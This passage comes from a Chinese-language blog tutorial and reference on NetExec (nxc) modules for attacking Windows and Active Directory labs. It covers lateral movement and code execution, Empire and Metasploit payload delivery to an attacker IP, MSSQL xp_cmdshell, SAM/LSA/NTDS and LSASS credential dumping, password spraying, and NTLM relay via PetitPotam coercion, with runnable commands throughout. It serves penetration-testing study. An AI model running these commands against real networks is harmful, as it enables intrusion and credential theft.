drop-sc — 在所有可写共享上投放 searchConnector-ms 文件,利用 Windows Search 功能发起 NTLM 认证。nxc smb <target> -u admin -p pass -M drop-sc -o URL=http://<ATTACKER_IP>/

横向移动与代码执行

impersonate — 列出和模拟登录用户的令牌,以本地已登录用户身份执行命令。nxc smb <target> -u admin -p pass -M impersonate -o EXEC="cmd.exe /c whoami"

pi — 通过进程注入在目标进程上下文执行命令,使用 PID 和 EXEC 指定目标及命令。nxc smb <target> -u admin -p pass -M pi --options

schtask_as — 以已登录用户身份远程创建计划任务执行命令。nxc smb <target> -u admin -p pass -M schtask_as -o CMD="powershell -enc <BASE64>"

C2 框架集成

empire_exec — 使用 Empire C2 的 RESTful API 生成启动器并在目标上执行。nxc smb <target> -u admin -p pass -M empire_exec -o LISTENER=http

met_inject — 从配置的 Metasploit Web 服务取得 stager 并执行注入逻辑,模块参数为 SRVHOST、SRVPORT、SSL 等。nxc smb <target> -u admin -p pass -M met_inject --options

web_delivery — 使用 Metasploit 的 exploit/multi/script/web_delivery 模块在目标上执行载荷。nxc smb <target> -u admin -p pass -M web_delivery -o URL=http://<ATTACKER_IP>/payload

MSSQL 特权执行

enable_cmdshell — 在 MSSQL 服务器上启用或禁用 xp_cmdshell 存储过程。nxc mssql <target> --local-auth -u sa -p pass -M enable_cmdshell -o ACTION=enable

link_enable_cmdshell — 在 MSSQL 链接服务器上启用或禁用 xp_cmdshell。nxc mssql <target> --local-auth -u sa -p pass -M link_enable_cmdshell

link_xpcmd — 在 MSSQL 链接服务器上通过 xp_cmdshell 执行命令。nxc mssql <target> --local-auth -u sa -p pass -M link_xpcmd -o CMD="whoami"

exec_on_link — 通过 EXEC (...) AT [linked_server] 在链接服务器执行语句,需要链接 RPC OUT、登录映射及远端授权。nxc mssql <target> -u sa -p pass --local-auth -M exec_on_link -o LINKED_SERVER=SQL02 COMMAND="SELECT @@VERSION"

mssql_priv — 默认枚举角色、模拟登录及数据库所有者等相关权限路径;ACTION=privesc 进入提权分支,ACTION=rollback 撤销模块所处理的 sysadmin 授权。数据库角色和操作系统服务权限分别检查。nxc mssql <target> -u user -p pass --local-auth -M mssql_priv

会话与远程桌面

shadowrdp — 通过 Remote Registry 设置终端服务 Shadow 策略值:enable 写 2,disable 写 0。模块修改会话远程控制策略,不直接发起 RpcShadow2 或选择某个会话。nxc smb <target> -u admin -p pass -M shadowrdp -o ACTION=enable

remote-uac — 启用或禁用远程 UAC(LocalAccountTokenFilterPolicy 注册表键)。禁用远程 UAC 后,本地管理员可以通过网络以完整管理员令牌登录。nxc smb <target> -u admin -p pass -M remote-uac -o ACTION=disable

其他

hash_spider — 递归导出 LSASS 凭据。从一个初始凭据开始,使用 BloodHound 数据自动发现本地管理员关系,逐跳扩散到更多主机并导出凭据。nxc smb <target> -u admin -p pass -M hash_spider

rdp — 通过注册表启用或禁用 RDP。nxc smb <target> -u admin -p pass -M rdp -o ACTION=enable

组合使用

主机与域对象收集

无凭据时,SMB 协商可提供版本、名称和签名要求等信息。--gen-relay-list 筛出的是满足代码筛选条件的 SMB 候选服务,后续还要检查中继来源和认证身份的资源权限。

nxc smb 192.168.244.131 192.168.244.132
nxc smb 192.168.244.131 192.168.244.132 --gen-relay-list relay.txt

有普通域用户后,可从 LDAP 收集用户、组、策略和目录关系,再按需求选择模块:

nxc ldap 192.168.244.131 -d testjd.local -u attacker -p Bb123456 --users-export users.txt
nxc ldap 192.168.244.131 -d testjd.local -u attacker -p Bb123456 --groups
nxc ldap 192.168.244.131 -d testjd.local -u attacker -p Bb123456 --pso
nxc ldap 192.168.244.131 -d testjd.local -u attacker -p Bb123456 -M subnets
nxc ldap 192.168.244.131 -d testjd.local -u attacker -p Bb123456 -M adcs
nxc ldap 192.168.244.131 -d testjd.local -u attacker -p Bb123456 --bloodhound -c DCOnly

DCOnly 聚焦目录侧信息,-c All 扩大到依赖收集器定义的其他方法,可能连接成员机器。BloodHound Python 收集器与 SharpHound 的实现、支持的方法和数据格式需要分别核对。DNS 记录枚举可用 LDAP get-network;DNS 服务器上的 WMI enum_dns 则使用 SMB/WMI 入口及对应权限。

凭据测试与结果复用

单密码、多账户是密码喷洒;单账户、多候选密码是口令猜测;两份列表的组合测试和按位置配对也不同。--no-bruteforce 明确选择配对,--continue-on-success 只改变成功后的循环行为。

# 配对测试:第一行账户对应第一行密码
nxc smb 192.168.244.132 -d testjd.local -u users.txt -p passwords.txt --no-bruteforce

# 一个实验候选密码对应多个账户
nxc smb 192.168.244.132 -d testjd.local -u users.txt -p 'LabPassword123!' --jitter 2-5

# 本地账户与域账户区分
nxc smb 192.168.244.132 --local-auth -u administrator -p 'LocalPassword123!'

这些失败尝试仍会经过服务端认证和账户锁定策略。并发目标会分别产生尝试,--jitter 只延迟每个目标的认证循环。数据库结果查询使用 nxcdb,再次运行另一条带密码的 nxc 命令会继续访问目标。

已有有效数据库凭据可在对应协议使用 -id:

nxc smb 192.168.244.132 -id 1 --shares

认证成功后的枚举与执行

先检查当前身份能完成哪些操作,再选择远程执行方法。共享可读、服务创建权限、WMI 命名空间权限和目录复制权限分别约束各自操作。

nxc smb 192.168.244.132 -d testjd.local -u admin -p Aa123456 --shares
nxc smb 192.168.244.132 -d testjd.local -u admin -p Aa123456 -x "whoami" --exec-method wmiexec

# 同一身份是否能访问 WinRM 是另一项检查
nxc winrm 192.168.244.132 -d testjd.local -u admin -p Aa123456 -x "whoami"

未显式指定 --exec-method 时,SMB 执行层会依次尝试 WMI、任务、服务、MMC 对象。显式指定则只用该路径。WMI/MMC 使用 DCOM;任务/服务依赖对应 RPC;输出回传还有文件和连接需求。

本地 SAM/LSA 与 NTDS 也应分别理解:

nxc smb 192.168.244.132 -d testjd.local -u admin -p Aa123456 --sam --lsa

# 以下身份还需在域命名上下文上拥有复制权限
nxc smb 192.168.244.131 -d testjd.local -u replication_user -p ReplicationPass123! --ntds drsuapi

# SCCM 客户端本地凭据收集用内置选项;-M sccm 是 LDAP 基础设施枚举
nxc smb 192.168.244.132 -d testjd.local -u admin -p Aa123456 --sccm

LSASS 转储、DPAPI 和应用配置读取使用不同的数据源。对某一份转储解析成功,不代表包含所有已登录用户的密码;有效保护、会话类型和已有密钥材料会影响能取得的内容。

中继来源、目标与触发

NetExec 的 coerce_plus 用于探测接口和触发连接;在线转发认证由中继服务完成。先选目标协议,再配置匹配操作。SMB 候选列表不能直接配上 LDAP 的 --delegate-access 来建立 RBCD。

以单台实验机器触发 SMB 来源、目标为另一台不强制签名的 SMB 服务为例:

# 终端一:中继监听,操作范围由认证身份在目标上的权限决定
ntlmrelayx.py -t smb://192.168.244.132 -smb2support

# 终端二:尝试由 DC 的 EFSRPC 路径触发到监听机的连接
nxc smb 192.168.244.131 -d testjd.local -u attacker -p Bb123456 -M coerce_plus -o LISTENER=192.168.244.130 METHOD=PetitPotam

监听端观察实际收到的身份与协议,目标端再检查认证及后续操作结果。换成 LDAP/LDAPS 目标时,还需分析来源签名协商、MIC、目标签名/CBT,以及目录属性权限,详见《NTLM 中继攻击》。

MSSQL 的 mssql_cbt 提供特定 TLS/CBT 测试结果,mssql_coerce 则触发 SQL Server 的外连。前者属于目标保护检查,后者属于来源触发。SQL 登录、Windows 集成认证和最终 SQL 操作权限也应分开检查。

目录修改与配置恢复

add-computer 创建账户,modify-group 修改成员关系,change-password 修改或重置密码,三者都要有各自目标上的授权。创建计算机之后还要单独写入 RBCD 属性,并用该前端的凭据向 KDC 取票,才能形成委派流程。

配置型模块可能改变目标:例如 rdp、shadowrdp、remote-uac、wdigest 修改注册表,keepass_trigger 修改应用配置,部分模块上传程序或创建任务。使用前记录对应原值和对象,实验结束后按原值恢复;ACTION=disable 未必等于之前的配置。

badsuccessor 在本文版本只枚举候选 OU 权限,enum_cve 以 OS/UBR 对照规则提示版本线索。漏洞检测结果需要追踪到具体检查和补丁条件,不能直接把模块输出接到“已完成权限提升”的结论上。

模块入口索引

下面按源码的 supported_protocols 和回调列出入口。L 表示 on_login,A 表示 on_admin_login;“L”仅说明框架未先要求管理员标记,具体接口与资源仍需授权。目录分类见前文,不再用类别名称代替利用条件。

模块 协议入口 回调
adcs ldap L
add-computer smb / ldap L
aws-credentials ssh / smb / winrm L
backup_operator smb L
badsuccessor ldap L
bitlocker smb / wmi A
certipy-find ldap L
change-password smb L
coerce_plus smb L
daclread ldap L
dns-nonsecure ldap L
dpapi_hash smb A
drop-library-ms smb L
drop-sc smb L
dump-computers ldap L
empire_exec smb / mssql A
enable_cmdshell mssql L
entra-id ldap L
enum_av smb L
enum_ca smb L
enum_cve smb L
enum_dns smb / wmi A
enum_impersonate mssql L
enum_interfaces smb A
enum_links mssql L
enum_logins mssql L
eventlog_creds smb A
exec_on_link mssql L
find-computer ldap L
get-desc-users ldap L
get-info-users ldap L
get-network ldap L
get-scriptpath ldap L
get-unixUserPassword ldap L
get-userPassword ldap L
get_netconnections smb / wmi A
gpp_autologin smb L
gpp_password smb L
gpp_privileges smb L
groupmembership ldap L
handlekatz smb A
hash_spider smb A
hyperv-host smb A
iis smb A
impersonate smb A
install_elevated smb A
ioxidresolver smb / wmi L
keepass_discover smb A
keepass_trigger smb A
laps ldap L
link_enable_cmdshell mssql L
link_xpcmd mssql L
lockscreendoors smb A
lsassy smb A
maq ldap L
masky smb A
met_inject smb / mssql A
mobaxterm smb A
modify-group smb / ldap L
mremoteng smb A
ms17-010 smb L
msol smb A
mssql_cbt mssql L
mssql_coerce mssql L
mssql_dumper mssql L
mssql_priv mssql L
nanodump smb / mssql A
nopac smb L
notepad++ smb A
notepad smb A
ntds-dump-raw smb / wmi / winrm A
ntdsutil smb A
ntlmv1 smb A
obsolete ldap L
pi smb A
powershell_history smb A
pre2k ldap L
presence smb A
printnightmare smb L
procdump smb A
putty smb A
raisechild ldap A
rdcman smb A
rdp smb / wmi A
recent_files smb A
recyclebin smb A
reg-query smb A
reg-winlogon smb A
remote-uac smb A
remove-mic smb L
runasppl smb A
sccm-recon6 smb L
sccm ldap L
schtask_as smb A
scuffy smb L
security-questions smb A
shadowrdp smb A
slinky smb L
smbghost smb L
snipped smb A
spider_plus smb L
spooler smb / wmi L
subnets ldap L
teams_localdb smb A
test_connection smb / mssql A
timeroast smb L
uac smb A
user-desc ldap L
veeam smb A
vnc smb A
wam smb A
wcc smb A
wdigest smb A
web_delivery smb / mssql A
webdav smb L
whoami ldap L
wifi smb A
winscp smb A
zerologon smb / wmi L

已迁移入口

本快照仍保留部分提示文件:enum_trusts、group-mem、pso、ldap-checker、firefox、petitpotam、printerbug、dfscoerce、shadowcoerce、efsr_spray、ntlm_reflection。

组成员和 PSO 查询使用 LDAP 内置参数;强制认证方法集中在 coerce_plus;ntlm_reflection 的版本线索检查移到 enum_cve。Firefox 等浏览器数据的实际支持要看 --dpapi 调用的依赖版本,已移除的模块名不会恢复原来的实现。

参考来源

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇